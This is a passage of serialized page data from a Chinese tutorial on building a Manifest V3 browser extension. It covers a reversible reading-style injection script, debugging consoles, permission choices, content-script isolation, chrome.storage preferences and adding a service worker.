",[331,1488,1489],{"class":616},"=>",[331,1491,1100],{"class":337},[331,1493,1494,1497,1500,1502],{"class":333,"line":450},[331,1495,1496],{"class":616},"  const",[331,1498,1499],{"class":344}," styleId",[331,1501,957],{"class":616},[331,1503,1504],{"class":365}," 'reading-helper-style-v1'\n",[331,1506,1507,1509,1512,1514,1516,1519],{"class":333,"line":456},[331,1508,1496],{"class":616},[331,1510,1511],{"class":344}," existing",[331,1513,957],{"class":616},[331,1515,960],{"class":337},[331,1517,1518],{"class":501},"getElementById",[331,1520,1521],{"class":337},"(styleId)\n",[331,1523,1524,1527],{"class":333,"line":775},[331,1525,1526],{"class":616},"  if",[331,1528,1529],{"class":337}," (existing) {\n",[331,1531,1532,1535,1538],{"class":333,"line":785},[331,1533,1534],{"class":337},"    existing.",[331,1536,1537],{"class":501},"remove",[331,1539,1540],{"class":337},"()\n",[331,1542,1543,1546],{"class":333,"line":795},[331,1544,1545],{"class":616},"    return",[331,1547,1375],{"class":344},[331,1549,1550],{"class":333,"line":805},[331,1551,453],{"class":337},[331,1553,1554,1556,1559,1561,1563,1566,1568,1571],{"class":333,"line":819},[331,1555,1496],{"class":616},[331,1557,1558],{"class":344}," style",[331,1560,957],{"class":616},[331,1562,960],{"class":337},[331,1564,1565],{"class":501},"createElement",[331,1567,966],{"class":337},[331,1569,1570],{"class":365},"'style'",[331,1572,972],{"class":337},[331,1574,1575,1578,1580],{"class":333,"line":850},[331,1576,1577],{"class":337},"  style.id ",[331,1579,518],{"class":616},[331,1581,1582],{"class":337}," styleId\n",[331,1584,1585,1588,1590],{"class":333,"line":886},[331,1586,1587],{"class":337},"  style.textContent ",[331,1589,518],{"class":616},[331,1591,1592],{"class":365}," `\n",[331,1594,1595],{"class":333,"line":909},[331,1596,1597],{"class":365},"    body { background-color: #f5f0e6 !important; }\n",[331,1599,1600],{"class":333,"line":918},[331,1601,1602],{"class":365},"    p, li { line-height: 1.9 !important; }\n",[331,1604,1605],{"class":333,"line":1232},[331,1606,1607],{"class":365},"    article, main { max-width: 76ch !important; margin-inline: auto !important; }\n",[331,1609,1610],{"class":333,"line":1253},[331,1611,1612],{"class":365},"  `\n",[331,1614,1615,1618,1620,1623,1626],{"class":333,"line":1259},[331,1616,1617],{"class":337},"  ;(document.head ",[331,1619,1162],{"class":616},[331,1621,1622],{"class":337}," document.documentElement).",[331,1624,1625],{"class":501},"append",[331,1627,1628],{"class":337},"(style)\n",[331,1630,1631,1634],{"class":333,"line":1271},[331,1632,1633],{"class":616},"  return",[331,1635,1082],{"class":344},[331,1637,1638],{"class":333,"line":1277},[331,1639,1640],{"class":337},"})()\n",[11,1642,1643],{},"这是“切换几条阅读样式”，不是完整的正文提取器。复杂网站的深色主题、Shadow DOM、内联样式、特殊布局都可能影响效果。先保持功能边界小，后面再考虑站点适配。",[11,1645,1646,1649],{},[17,1647,1648],{},"本章的坑："," 注入文件的路径相对于扩展根目录，不是相对于网页 URL；代码保存后也不会自动更新已加载的插件，下一章会说明完整刷新顺序。",[48,1651,1653],{"id":1652},"三本地加载与调试先找对控制台","三、本地加载与调试：先找对控制台",[53,1655,1657],{"id":1656},"chrome-与-edge-的加载步骤","Chrome 与 Edge 的加载步骤",[1659,1660,1661,1672,1681,1687],"ol",{},[1662,1663,1664,1665,1668,1669,161],"li",{},"Chrome 打开 ",[22,1666,1667],{},"chrome:\u002F\u002Fextensions","，Edge 打开 ",[22,1670,1671],{},"edge:\u002F\u002Fextensions",[1662,1673,1674,1675,1677,1678,1680],{},"开启“开发者模式”，选择“加载已解压的扩展程序”，选中包含 ",[22,1676,321],{}," 的 ",[22,1679,305],{}," 文件夹。",[1662,1682,1683,1684,161],{},"在工具栏的扩展菜单里固定阅读助手，打开一个普通网页，例如 ",[22,1685,1686],{},"https:\u002F\u002Fexample.com\u002F",[1662,1688,1689],{},"点击阅读助手图标，再点“切换阅读样式”。背景和段落行高应发生变化，再点一次恢复。",[11,1691,1692,1693,161],{},"加载的是文件夹，不是 ZIP 文件。若提示找不到清单文件，先检查是不是选到了外层目录，或文件被编辑器保存成了 ",[22,1694,1695],{},"manifest.json.txt",[53,1697,1698],{"id":1698},"三个环境对应三个调试入口",[57,1700,1701,1714],{},[60,1702,1703],{},[63,1704,1705,1708,1711],{},[66,1706,1707],{},"出问题的位置",[66,1709,1710],{},"去哪里看",[66,1712,1713],{},"典型错误",[79,1715,1716,1727,1737,1747],{},[63,1717,1718,1721,1724],{},[84,1719,1720],{},"Manifest \u002F 加载",[84,1722,1723],{},"扩展管理页的错误详情",[84,1725,1726],{},"JSON 格式错误、文件路径错误",[63,1728,1729,1731,1734],{},[84,1730,100],{},[84,1732,1733],{},"打开弹窗后，在弹窗内右键“检查”",[84,1735,1736],{},"找不到按钮、注入 Promise 被拒绝",[63,1738,1739,1741,1744],{},[84,1740,114],{},[84,1742,1743],{},"目标网页的 DevTools，必要时切换执行上下文",[84,1745,1746],{},"DOM 不存在、选择器错误",[63,1748,1749,1751,1754],{},[84,1750,128],{},[84,1752,1753],{},"扩展管理页中对应的 Service Worker 检查入口",[84,1755,1756],{},"消息校验失败、异步任务失败",[11,1758,1759,1760,1762],{},"Popup 控制台和网页控制台不是同一个地方。把日志写进 ",[22,1761,1420],{}," 后，只盯着 Popup 检查窗口会误以为代码没有执行。",[53,1764,1765],{"id":1765},"修改代码后的正确顺序",[11,1767,1768,1769,161],{},"一般采用：",[17,1770,1771],{},"保存文件 → 扩展管理页重新加载 → 刷新测试网页 → 重新打开 Popup",[1773,1774,1775,1778,1781],"ul",{},[1662,1776,1777],{},"改 Manifest、后台或静态注入规则：重新加载扩展。",[1662,1779,1780],{},"改已注入的 Content Script：刷新网页，旧页面里已经运行的代码不会自动替换。",[1662,1782,1783],{},"改 Popup：重新打开弹窗；为了排除缓存与上下文问题，调试时仍建议完整刷新。",[11,1785,1786,1787,1790],{},"第一版按点击重新注入文件，但旧的页面样式节点仍可能保留，所以开发时刷新目标页面最省事。以后出现 ",[22,1788,1789],{},"Extension context invalidated","，也优先检查是不是扩展重载后网页还留着旧脚本。",[53,1792,1793],{"id":1793},"本章验收清单",[57,1795,1796,1806],{},[60,1797,1798],{},[63,1799,1800,1803],{},[66,1801,1802],{},"操作",[66,1804,1805],{},"预期",[79,1807,1808,1819,1827,1835,1843],{},[63,1809,1810,1813],{},[84,1811,1812],{},"普通网页第一次点击",[84,1814,1815,1816],{},"添加 ",[22,1817,1818],{},"#reading-helper-style-v1",[63,1820,1821,1824],{},[84,1822,1823],{},"同页第二次点击",[84,1825,1826],{},"移除该节点，不破坏原有内联样式",[63,1828,1829,1832],{},[84,1830,1831],{},"关闭再打开 Popup",[84,1833,1834],{},"页面样式仍在；弹窗本身重新初始化",[63,1836,1837,1840],{},[84,1838,1839],{},"刷新网页",[84,1841,1842],{},"样式恢复，因为当前版本没有自动重新应用",[63,1844,1845,1851],{},[84,1846,1847,1848,1850],{},"在 ",[22,1849,1667],{}," 上点击",[84,1852,1853],{},"弹窗给出普通网页使用提示",[11,1855,1856],{},"开发工具打开时可能改变 Popup 的关闭行为或后台生命周期。功能调试完成后，关掉检查窗口再走一次正常用户流程。",[48,1858,1860],{"id":1859},"四manifest-与权限需要什么才申请什么","四、Manifest 与权限：需要什么才申请什么",[53,1862,1863],{"id":1863},"常用字段速查",[57,1865,1866,1879],{},[60,1867,1868],{},[63,1869,1870,1873,1876],{},[66,1871,1872],{},"字段",[66,1874,1875],{},"用途",[66,1877,1878],{},"示例",[79,1880,1881,1894,1916,1930,1948,1962,1983,1997,2016],{},[63,1882,1883,1887,1890],{},[84,1884,1885],{},[22,1886,258],{},[84,1888,1889],{},"清单格式版本",[84,1891,1892],{},[22,1893,351],{},[63,1895,1896,1905,1908],{},[84,1897,1898,1901,1902],{},[22,1899,1900],{},"name"," \u002F ",[22,1903,1904],{},"version",[84,1906,1907],{},"插件名称与发布版本",[84,1909,1910,1901,1913],{},[22,1911,1912],{},"阅读助手",[22,1914,1915],{},"1.0.0",[63,1917,1918,1923,1926],{},[84,1919,1920],{},[22,1921,1922],{},"action.default_popup",[84,1924,1925],{},"工具栏弹窗入口",[84,1927,1928],{},[22,1929,482],{},[63,1931,1932,1936,1939],{},[84,1933,1934],{},[22,1935,236],{},[84,1937,1938],{},"API 与特殊能力",[84,1940,1941,272,1944,272,1946],{},[22,1942,1943],{},"storage",[22,1945,469],{},[22,1947,465],{},[63,1949,1950,1954,1957],{},[84,1951,1952],{},[22,1953,243],{},[84,1955,1956],{},"持续访问目标站点的范围",[84,1958,1959],{},[22,1960,1961],{},"https:\u002F\u002Fapi.example.com\u002F*",[63,1963,1964,1969,1972],{},[84,1965,1966],{},[22,1967,1968],{},"content_scripts",[84,1970,1971],{},"按匹配规则静态注入",[84,1973,1974,1975,272,1978,272,1980],{},"指定 ",[22,1976,1977],{},"matches",[22,1979,944],{},[22,1981,1982],{},"run_at",[63,1984,1985,1989,1992],{},[84,1986,1987],{},[22,1988,216],{},[84,1990,1991],{},"后台事件脚本",[84,1993,1994],{},[22,1995,1996],{},"background.js",[63,1998,1999,2004,2007],{},[84,2000,2001],{},[22,2002,2003],{},"options_ui",[84,2005,2006],{},"设置页面",[84,2008,2009,2012,2013],{},[22,2010,2011],{},"page"," 和 ",[22,2014,2015],{},"open_in_tab",[63,2017,2018,2023,2026],{},[84,2019,2020],{},[22,2021,2022],{},"icons",[84,2024,2025],{},"扩展自身图标",[84,2027,2028],{},"按尺寸映射图片路径",[11,2030,2031],{},"教程为方便复制省略图标，开发时可用默认图标。发布前准备商店要求的图片资源；不要在 Manifest 中声明一个不存在的图标文件。",[53,2033,2035],{"id":2034},"activetabtabs-与-host_permissions-的区别","activeTab、tabs 与 host_permissions 的区别",[57,2037,2038,2051],{},[60,2039,2040],{},[63,2041,2042,2045,2048],{},[66,2043,2044],{},"权限",[66,2046,2047],{},"解决的问题",[66,2049,2050],{},"注意点",[79,2052,2053,2065,2077,2092,2104],{},[63,2054,2055,2059,2062],{},[84,2056,2057],{},[22,2058,465],{},[84,2060,2061],{},"用户调用扩展后临时访问当前标签页",[84,2063,2064],{},"并非永久访问所有站点；跨源导航或关闭标签页会撤销授权",[63,2066,2067,2071,2074],{},[84,2068,2069],{},[22,2070,473],{},[84,2072,2073],{},"读取标签页的 URL、标题等敏感属性",[84,2075,2076],{},"不等于允许往任意网页注入脚本",[63,2078,2079,2083,2086],{},[84,2080,2081],{},[22,2082,469],{},[84,2084,2085],{},"使用脚本\u002FCSS 注入与注册 API",[84,2087,2088,2089,2091],{},"注入还需 ",[22,2090,465],{}," 或相应站点权限",[63,2093,2094,2098,2101],{},[84,2095,2096],{},[22,2097,243],{},[84,2099,2100],{},"为指定站点授予持续访问能力",[84,2102,2103],{},"应尽量限制到确实需要的域名",[63,2105,2106,2110,2113],{},[84,2107,2108],{},[22,2109,1943],{},[84,2111,2112],{},"使用扩展存储 API",[84,2114,2115],{},"不等于可以读取网站的 Cookie 或存储",[11,2117,2118,2119,2121],{},"第一版使用 ",[22,2120,465],{},"，所以用户通过工具栏图标调用扩展后，可以读取当前页相关属性并注入。不能把这段代码搬进一个未获授权的定时任务，再期待它任意访问所有标签页。",[53,2123,2124],{"id":2124},"可选权限与网站匹配",[11,2126,2127,2128,2131,2132,2135],{},"不是每个人都会用到的站点能力，可以声明在 ",[22,2129,2130],{},"optional_host_permissions","，在用户点击相应功能时调用 ",[22,2133,2134],{},"chrome.permissions.request()","。要处理用户拒绝的分支，不要反复强迫授权。",[11,2137,2138,2139,2142,2143,2146,2147,2152],{},"网站匹配模式不是正则表达式。",[22,2140,2141],{},"https:\u002F\u002Fexample.com\u002F*"," 表示 HTTPS 的指定主机和路径；",[22,2144,2145],{},"https:\u002F\u002F*.example.com\u002F*"," 用于匹配该域及其子域。正式声明前用",[30,2148,2151],{"href":2149,"rel":2150},"https:\u002F\u002Fdeveloper.chrome.com\u002Fdocs\u002Fextensions\u002Fdevelop\u002Fconcepts\u002Fmatch-patterns",[34],"官方匹配模式文档","核对范围。",[11,2154,2155,2157,2158,2161],{},[17,2156,1648],{}," 为了让示例“什么网站都能跑”直接申请 ",[22,2159,2160],{},"\u003Call_urls>","，会扩大权限、增加授权提示和审核解释成本。阅读助手的手动开关并不需要它。",[48,2163,2165],{"id":2164},"五content-script能改-dom不等于能读网页变量","五、Content Script：能改 DOM，不等于能读网页变量",[53,2167,2169],{"id":2168},"隔离世界与共享-dom","隔离世界与共享 DOM",[11,2171,2172],{},"默认的 Content Script 运行在隔离世界（ISOLATED）。它和网页脚本共享页面 DOM，但拥有分离的 JavaScript 执行环境。",[11,2174,2175,2176,2179,2180,2183],{},"假设网页脚本执行 ",[22,2177,2178],{},"window.appToken = 'page-value'","，Content Script 中读 ",[22,2181,2182],{},"window.appToken"," 不会因此自动得到该值；反过来，Content Script 声明的普通变量也不会自动暴露给网页脚本。",[57,2185,2186,2195],{},[60,2187,2188],{},[63,2189,2190,2192],{},[66,2191,1802],{},[66,2193,2194],{},"默认 Content Script",[79,2196,2197,2207,2215,2223,2235],{},[63,2198,2199,2204],{},[84,2200,2201],{},[22,2202,2203],{},"document.querySelector('h1')",[84,2205,2206],{},"可以，访问当前注入框架的 DOM",[63,2208,2209,2212],{},[84,2210,2211],{},"修改段落文字或插入按钮",[84,2213,2214],{},"可以，但要避免破坏网站交互",[63,2216,2217,2220],{},[84,2218,2219],{},"读取网页 JS 的局部变量",[84,2221,2222],{},"不可以直接读",[63,2224,2225,2232],{},[84,2226,2227,2228,2231],{},"访问所有 ",[22,2229,2230],{},"chrome.*"," API",[84,2233,2234],{},"不可以，仅有一部分 API 可直接使用",[63,2236,2237,2240],{},[84,2238,2239],{},"读取跨源 iframe 的 DOM",[84,2241,2242],{},"不能绕过浏览器的跨源限制",[11,2244,2245],{},"把脚本改为 MAIN world 会让它进入网页的执行环境，也会改变安全边界和 API 可用性。仅仅为了读写 DOM 不需要这样做，更不应该把凭证放进网页可读的属性中。",[53,2247,2248],{"id":2248},"动态注入与静态注入怎么选",[11,2250,2251],{},"第一版采用动态注入：用户点击按钮才执行一次，适合阅读开关、截取选中文本等明确由用户触发的功能。",[11,2253,2254,2255,2258],{},"如果产品需求变为“打开指定网站就展示工具条”，可以使用以下",[17,2256,2257],{},"独立的 Manifest 片段","，合并到自己的清单中；不要与主线的切换脚本直接叠加使用，否则自动执行和手动执行会互相切换状态。",[308,2260,2262],{"className":325,"code":2261,"language":327,"meta":314,"style":314},"{\n  \"content_scripts\": [\n    {\n      \"matches\": [\"https:\u002F\u002Fexample.com\u002F*\"],\n      \"js\": [\"content.js\"],\n      \"run_at\": \"document_idle\"\n    }\n  ]\n}\n",[22,2263,2264,2268,2276,2281,2293,2305,2315,2319,2324],{"__ignoreMap":314},[331,2265,2266],{"class":333,"line":334},[331,2267,338],{"class":337},[331,2269,2270,2273],{"class":333,"line":341},[331,2271,2272],{"class":344},"  \"content_scripts\"",[331,2274,2275],{"class":337},": [\n",[331,2277,2278],{"class":333,"line":357},[331,2279,2280],{"class":337},"    {\n",[331,2282,2283,2286,2288,2291],{"class":333,"line":371},[331,2284,2285],{"class":344},"      \"matches\"",[331,2287,403],{"class":337},[331,2289,2290],{"class":365},"\"https:\u002F\u002Fexample.com\u002F*\"",[331,2292,415],{"class":337},[331,2294,2295,2298,2300,2303],{"class":333,"line":384},[331,2296,2297],{"class":344},"      \"js\"",[331,2299,403],{"class":337},[331,2301,2302],{"class":365},"\"content.js\"",[331,2304,415],{"class":337},[331,2306,2307,2310,2312],{"class":333,"line":397},[331,2308,2309],{"class":344},"      \"run_at\"",[331,2311,348],{"class":337},[331,2313,2314],{"class":365},"\"document_idle\"\n",[331,2316,2317],{"class":333,"line":418},[331,2318,1229],{"class":337},[331,2320,2321],{"class":333,"line":427},[331,2322,2323],{"class":337},"  ]\n",[331,2325,2326],{"class":333,"line":439},[331,2327,459],{"class":337},[11,2329,2330,2331,2334],{},"静态声明按匹配规则注入，规则本身涉及站点访问授权。",[22,2332,2333],{},"document_idle"," 适合一般 DOM 操作，但不保证 SPA 的异步数据已经渲染完。",[53,2336,2338],{"id":2337},"spa-与重复注入","SPA 与重复注入",[11,2340,2341,2342,2345],{},"单页应用切换路由可能不产生新的文档，因此不会每次都重新触发静态 Content Script。应根据业务选择事件委托、特定容器的 ",[22,2343,2344],{},"MutationObserver","，或必要的导航事件，而不是每隔几毫秒扫描整个文档。",[11,2347,2348,2349,2352],{},"观察 DOM 时要限制范围，并在不再需要时 ",[22,2350,2351],{},"disconnect()","；插件自己插入节点也可能触发观察器，处理不当就会产生循环。",[11,2354,2355,2357],{},[17,2356,1648],{}," 重复注入脚本可能重复绑定事件、重复插入按钮，或遇到顶层变量重声明。主线示例的立即执行函数解决作用域问题，唯一的样式节点解决可逆切换问题；更复杂的工具条应设计明确的初始化标记和销毁逻辑。",[48,2359,2361],{"id":2360},"六popup-与设置弹窗关了变量就没了","六、Popup 与设置：弹窗关了，变量就没了",[53,2363,2365],{"id":2364},"popup-的生命周期","Popup 的生命周期",[11,2367,2368],{},"Popup 是一个扩展页面，但用户点击其他区域后通常就会关闭。下次打开时，HTML 和 JavaScript 重新执行，局部变量也重新创建。",[11,2370,2371,2372,2375],{},"因此不要用 ",[22,2373,2374],{},"let enabled = true"," 作为长期配置来源，也不要让 Popup 承担“必须持续完成”的后台任务。第一版不在 Popup 里保存开启状态，而是根据实际注入结果展示提示。",[11,2377,2378,2379,2381,2382,2385],{},"另外，声明 ",[22,2380,1922],{}," 后，点击工具栏图标会打开弹窗，不会同时触发该扩展的 ",[22,2383,2384],{},"chrome.action.onClicked"," 事件。想走后台点击处理路线，就不要给同一个 action 配置 Popup。",[53,2387,2389],{"id":2388},"使用-chromestorage-保存偏好","使用 chrome.storage 保存偏好",[11,2391,2392,2393,2395,2396,2398,2399,2402],{},"如需保存阅读主题，先在 ",[22,2394,236],{}," 中加入 ",[22,2397,1943],{},"。下面是",[17,2400,2401],{},"可选的扩展示例","，不影响前四个文件运行；只演示保存配置，不会自动把主题应用到网页。",[308,2404,2406],{"className":942,"code":2405,"language":944,"meta":314,"style":314},"\u002F**\n * 保存经过白名单校验的阅读主题。不要在这里保存密码或服务端密钥。\n * @param {'paper'|'light'} theme 用户选择的主题。\n * @returns {Promise\u003Cvoid>} 写入扩展本地存储后完成。\n * @example\n * await saveTheme('paper')\n *\u002F\nasync function saveTheme(theme) {\n  if (!['paper', 'light'].includes(theme)) throw new Error('不支持的主题')\n  await chrome.storage.local.set({ readingTheme: theme })\n}\n\n\u002F**\n * 读取主题；首次安装或数据异常时回退到 paper。\n * @returns {Promise\u003C'paper'|'light'>} 可直接用于界面选择器的主题标识。\n * @example\n * const theme = await loadTheme()\n *\u002F\nasync function loadTheme() {\n  const { readingTheme } = await chrome.storage.local.get({ readingTheme: 'paper' })\n  return readingTheme === 'light' ? 'light' : 'paper'\n}\n",[22,2407,2408,2412,2417,2433,2444,2450,2455,2459,2477,2519,2533,2537,2541,2545,2550,2562,2568,2573,2577,2588,2616,2640],{"__ignoreMap":314},[331,2409,2410],{"class":333,"line":334},[331,2411,1004],{"class":1003},[331,2413,2414],{"class":333,"line":341},[331,2415,2416],{"class":1003}," * 保存经过白名单校验的阅读主题。不要在这里保存密码或服务端密钥。\n",[331,2418,2419,2421,2424,2427,2430],{"class":333,"line":357},[331,2420,1024],{"class":1003},[331,2422,2423],{"class":616},"@param",[331,2425,2426],{"class":501}," {'paper'|'light'}",[331,2428,2429],{"class":337}," theme",[331,2431,2432],{"class":1003}," 用户选择的主题。\n",[331,2434,2435,2437,2439,2441],{"class":333,"line":371},[331,2436,1024],{"class":1003},[331,2438,1027],{"class":616},[331,2440,1030],{"class":501},[331,2442,2443],{"class":1003}," 写入扩展本地存储后完成。\n",[331,2445,2446,2448],{"class":333,"line":384},[331,2447,1024],{"class":1003},[331,2449,1040],{"class":616},[331,2451,2452],{"class":333,"line":397},[331,2453,2454],{"class":1003}," * await saveTheme('paper')\n",[331,2456,2457],{"class":333,"line":418},[331,2458,1058],{"class":1003},[331,2460,2461,2463,2465,2468,2470,2474],{"class":333,"line":427},[331,2462,1063],{"class":616},[331,2464,1066],{"class":616},[331,2466,2467],{"class":501}," saveTheme",[331,2469,966],{"class":337},[331,2471,2473],{"class":2472},"s9osk","theme",[331,2475,2476],{"class":337},") {\n",[331,2478,2479,2481,2483,2485,2488,2491,2493,2496,2499,2502,2505,2508,2510,2512,2514,2517],{"class":333,"line":439},[331,2480,1526],{"class":616},[331,2482,1147],{"class":337},[331,2484,1150],{"class":616},[331,2486,2487],{"class":337},"[",[331,2489,2490],{"class":365},"'paper'",[331,2492,409],{"class":337},[331,2494,2495],{"class":365},"'light'",[331,2497,2498],{"class":337},"].",[331,2500,2501],{"class":501},"includes",[331,2503,2504],{"class":337},"(theme)) ",[331,2506,2507],{"class":616},"throw",[331,2509,1214],{"class":616},[331,2511,1217],{"class":501},[331,2513,966],{"class":337},[331,2515,2516],{"class":365},"'不支持的主题'",[331,2518,972],{"class":337},[331,2520,2521,2524,2527,2530],{"class":333,"line":450},[331,2522,2523],{"class":616},"  await",[331,2525,2526],{"class":337}," chrome.storage.local.",[331,2528,2529],{"class":501},"set",[331,2531,2532],{"class":337},"({ readingTheme: theme })\n",[331,2534,2535],{"class":333,"line":456},[331,2536,459],{"class":337},[331,2538,2539],{"class":333,"line":775},[331,2540,998],{"emptyLinePlaceholder":997},[331,2542,2543],{"class":333,"line":785},[331,2544,1004],{"class":1003},[331,2546,2547],{"class":333,"line":795},[331,2548,2549],{"class":1003}," * 读取主题；首次安装或数据异常时回退到 paper。\n",[331,2551,2552,2554,2556,2559],{"class":333,"line":805},[331,2553,1024],{"class":1003},[331,2555,1027],{"class":616},[331,2557,2558],{"class":501}," {Promise\u003C'paper'|'light'>}",[331,2560,2561],{"class":1003}," 可直接用于界面选择器的主题标识。\n",[331,2563,2564,2566],{"class":333,"line":819},[331,2565,1024],{"class":1003},[331,2567,1040],{"class":616},[331,2569,2570],{"class":333,"line":850},[331,2571,2572],{"class":1003}," * const theme = await loadTheme()\n",[331,2574,2575],{"class":333,"line":886},[331,2576,1058],{"class":1003},[331,2578,2579,2581,2583,2586],{"class":333,"line":909},[331,2580,1063],{"class":616},[331,2582,1066],{"class":616},[331,2584,2585],{"class":501}," loadTheme",[331,2587,1072],{"class":337},[331,2589,2590,2592,2594,2597,2600,2602,2604,2606,2609,2612,2614],{"class":333,"line":918},[331,2591,1496],{"class":616},[331,2593,605],{"class":337},[331,2595,2596],{"class":344},"readingTheme",[331,2598,2599],{"class":337}," } ",[331,2601,518],{"class":616},[331,2603,1119],{"class":616},[331,2605,2526],{"class":337},[331,2607,2608],{"class":501},"get",[331,2610,2611],{"class":337},"({ readingTheme: ",[331,2613,2490],{"class":365},[331,2615,1139],{"class":337},[331,2617,2618,2620,2623,2626,2629,2632,2634,2637],{"class":333,"line":1232},[331,2619,1633],{"class":616},[331,2621,2622],{"class":337}," readingTheme ",[331,2624,2625],{"class":616},"===",[331,2627,2628],{"class":365}," 'light'",[331,2630,2631],{"class":616}," ?",[331,2633,2628],{"class":365},[331,2635,2636],{"class":616}," :",[331,2638,2639],{"class":365}," 'paper'\n",[331,2641,2642],{"class":333,"line":1253},[331,2643,459],{"class":337},[57,2645,2646,2659],{},[60,2647,2648],{},[63,2649,2650,2653,2656],{},[66,2651,2652],{},"存储区域",[66,2654,2655],{},"适合放什么",[66,2657,2658],{},"不适合放什么",[79,2660,2661,2674,2687],{},[63,2662,2663,2668,2671],{},[84,2664,2665],{},[22,2666,2667],{},"storage.local",[84,2669,2670],{},"本机偏好、适量缓存",[84,2672,2673],{},"无上限的大文件、明文机密",[63,2675,2676,2681,2684],{},[84,2677,2678],{},[22,2679,2680],{},"storage.sync",[84,2682,2683],{},"小体积、需要跨设备同步的设置",[84,2685,2686],{},"高频写入日志、大量网页内容",[63,2688,2689,2694,2697],{},[84,2690,2691],{},[22,2692,2693],{},"storage.session",[84,2695,2696],{},"浏览器会话内的临时状态，支持后台重启后读取",[84,2698,2699],{},"重启浏览器仍必须存在的数据",[11,2701,2702,2704,2705,2707],{},[22,2703,2680],{}," 受配额、登录及同步状态影响，不要把它当作即时数据库。",[22,2706,2693],{}," 默认不暴露给 Content Script；不要把不同区域的访问规则混为一谈。",[53,2709,2711],{"id":2710},"什么时候需要-options-page","什么时候需要 Options Page",[11,2713,2714,2715,2718],{},"配置只有一个开关时放 Popup 就够了；有站点白名单、快捷键说明和较多表单时再加设置页。下面配置中的 ",[22,2716,2717],{},"options.html"," 必须是实际存在的扩展文件。",[308,2720,2722],{"className":325,"code":2721,"language":327,"meta":314,"style":314},"{\n  \"options_ui\": {\n    \"page\": \"options.html\",\n    \"open_in_tab\": true\n  }\n}\n",[22,2723,2724,2728,2735,2747,2757,2761],{"__ignoreMap":314},[331,2725,2726],{"class":333,"line":334},[331,2727,338],{"class":337},[331,2729,2730,2733],{"class":333,"line":341},[331,2731,2732],{"class":344},"  \"options_ui\"",[331,2734,424],{"class":337},[331,2736,2737,2740,2742,2745],{"class":333,"line":357},[331,2738,2739],{"class":344},"    \"page\"",[331,2741,348],{"class":337},[331,2743,2744],{"class":365},"\"options.html\"",[331,2746,354],{"class":337},[331,2748,2749,2752,2754],{"class":333,"line":371},[331,2750,2751],{"class":344},"    \"open_in_tab\"",[331,2753,348],{"class":337},[331,2755,2756],{"class":344},"true\n",[331,2758,2759],{"class":333,"line":384},[331,2760,453],{"class":337},[331,2762,2763],{"class":333,"line":397},[331,2764,459],{"class":337},[11,2766,2767,268,2769,2012,2772,2775,2776,2779],{},[17,2768,1648],{},[22,2770,2771],{},"localStorage",[22,2773,2774],{},"chrome.storage.local"," 不是一回事。Service Worker 没有 DOM，也不能使用 ",[22,2777,2778],{},"window.localStorage","；Content Script 使用网页存储时又涉及宿主页的上下文，不能用来冒充统一的扩展配置中心。",[48,2781,2783],{"id":2782},"七service-worker按事件唤醒不是常驻后台","七、Service Worker：按事件唤醒，不是常驻后台",[53,2785,2786],{"id":2786},"什么时候才需要后台",[11,2788,2789],{},"第一版没有后台，因为“点按钮 → 改当前页面”不需要中转。出现右键菜单、定时事件、统一网络访问、跨页面消息协调时，再引入 Service Worker。",[11,2791,2792,2793,272,2796,2798,2799,2801,2802,161],{},"MV3 后台没有 ",[22,2794,2795],{},"window",[22,2797,140],{},"，不能直接改网页 DOM。后台读写页面要通过 Content Script 或 ",[22,2800,469],{}," API，而不是写 ",[22,2803,2804],{},"document.querySelector()",[53,2806,2807],{"id":2807},"为阅读助手加入后台",[11,2809,2810,2811,2813,2814,2817],{},"从本节开始做第二版。在第一版基础上新增 ",[22,2812,1996],{},"，并把 Manifest ",[17,2815,2816],{},"完整替换","为下面内容。其他三个文件保持不变；新增后台能力用于下一章的消息练习，原来的阅读开关仍然可用。",[308,2819,2821],{"className":325,"code":2820,"language":327,"meta":314,"style":314},"{\n  \"manifest_version\": 3,\n  \"name\": \"阅读助手\",\n  \"version\": \"1.1.0\",\n  \"description\": \"切换当前网页阅读样式，并保存本地阅读偏好。\",\n  \"permissions\": [\"activeTab\", \"scripting\", \"storage\"],\n  \"action\": {\n    \"default_title\": \"阅读助手\",\n    \"default_popup\": \"popup.html\"\n  },\n  \"background\": {\n    \"service_worker\": \"background.js\"\n  }\n}\n",[22,2822,2823,2827,2837,2847,2858,2869,2888,2894,2904,2912,2917,2924,2934,2938],{"__ignoreMap":314},[331,2824,2825],{"class":333,"line":334},[331,2826,338],{"class":337},[331,2828,2829,2831,2833,2835],{"class":333,"line":341},[331,2830,345],{"class":344},[331,2832,348],{"class":337},[331,2834,351],{"class":344},[331,2836,354],{"class":337},[331,2838,2839,2841,2843,2845],{"class":333,"line":357},[331,2840,360],{"class":344},[331,2842,348],{"class":337},[331,2844,366],{"class":365},[331,2846,354],{"class":337},[331,2848,2849,2851,2853,2856],{"class":333,"line":371},[331,2850,374],{"class":344},[331,2852,348],{"class":337},[331,2854,2855],{"class":365},"\"1.1.0\"",[331,2857,354],{"class":337},[331,2859,2860,2862,2864,2867],{"class":333,"line":384},[331,2861,387],{"class":344},[331,2863,348],{"class":337},[331,2865,2866],{"class":365},"\"切换当前网页阅读样式，并保存本地阅读偏好。\"",[331,2868,354],{"class":337},[331,2870,2871,2873,2875,2877,2879,2881,2883,2886],{"class":333,"line":397},[331,2872,400],{"class":344},[331,2874,403],{"class":337},[331,2876,406],{"class":365},[331,2878,409],{"class":337},[331,2880,412],{"class":365},[331,2882,409],{"class":337},[331,2884,2885],{"class":365},"\"storage\"",[331,2887,415],{"class":337},[331,2889,2890,2892],{"class":333,"line":418},[331,2891,421],{"class":344},[331,2893,424],{"class":337},[331,2895,2896,2898,2900,2902],{"class":333,"line":427},[331,2897,430],{"class":344},[331,2899,348],{"class":337},[331,2901,366],{"class":365},[331,2903,354],{"class":337},[331,2905,2906,2908,2910],{"class":333,"line":439},[331,2907,442],{"class":344},[331,2909,348],{"class":337},[331,2911,447],{"class":365},[331,2913,2914],{"class":333,"line":450},[331,2915,2916],{"class":337},"  },\n",[331,2918,2919,2922],{"class":333,"line":456},[331,2920,2921],{"class":344},"  \"background\"",[331,2923,424],{"class":337},[331,2925,2926,2929,2931],{"class":333,"line":775},[331,2927,2928],{"class":344},"    \"service_worker\"",[331,2930,348],{"class":337},[331,2932,2933],{"class":365},"\"background.js\"\n",[331,2935,2936],{"class":333,"line":785},[331,2937,453],{"class":337},[331,2939,2940],{"class":333,"line":795},[331,2941,459],{"class":337},[11,2943,2944,322],{},[22,2945,1996],{},[308,2947,2949],{"className":942,"code":2948,"language":944,"meta":314,"style":314},"\u002F**\n * 处理本扩展发来的主题读取请求。\n * 